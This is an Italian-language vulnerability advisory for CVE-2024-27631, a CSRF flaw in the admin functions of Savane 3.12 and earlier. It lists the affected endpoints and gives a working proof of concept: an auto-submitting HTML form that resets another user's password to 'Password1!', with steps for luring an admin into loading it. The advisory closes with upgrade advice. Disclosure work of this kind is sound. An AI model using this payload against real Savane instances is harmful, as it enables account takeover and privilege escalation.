CVE-2024-27631 Dettagli della Vulnerabilità

Panoramica

In Savane v3.12 e precedenti, la mancanza di protezione CSRF sulle funzioni amministrative può consentire l'escalation dei privilegi e/o il furto di account. In particolare, l'endpoint /siteadmin/usergroup.php include la funzionalità per cambiare le password e i flag amministrativi di altri utenti, permettendo di fatto a un attaccante di rendersi amministratore.

Altri endpoint notevoli vulnerabili a CSRF includono:

• /support/admin/userperms.php - Modifica i permessi di chi può pubblicare su un tracker.
• /project/admin/conf-copy.php - Sovrascrive la configurazione esistente di un gruppo con una copia di un altro.
• /project/admin/editgroupnotifications.php - Modifica le notifiche di gruppo. Elementi privati possono essere inviati a mailing list pubbliche.
• /project/admin/useradmin.php - Elimina utenti da un gruppo.
• /news/admin/index.php - Modifica l'indirizzo email del tracker delle notizie.
• /people/editjob.php - Aggiunge un lavoro per un gruppo.

Classificazione CWE: CWE-352: Cross-Site Request Forgery (CSRF)

Segnalato da: Ally Petitt

Prodotto interessato: Savane

Versioni interessate: 3.12 e precedenti

Passaggi di Convalida

Questa è una Proof-of-Concept (PoC) per cambiare la password dell'account di un altro utente come percorso per il furto dell'account.

1. Selezionare un utente vittima di cui verrà cambiata la password.
2. Annotare il loro userID dalla pagina del profilo (/users/<username>).
3. Creare la seguente pagina web dannosa, sostituendo user_id con l'ID utente della vittima e <savane_instance> con il nome di dominio/host appropriato.

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

4. Ospitare la pagina HTML dannosa su un webserver e inviare il link a un amministratore (devono essere in modalità superutente perché funzioni).
5. Dopo che hanno cliccato il link, accedere all'account della vittima con la password molto sicura Password1!.

Nota che questo script PoC è stato testato su Firefox v103.0 (64-bit).

Mitigazione

Aggiornare a Savane versione 3.13 o superiore. La patch si trova qui.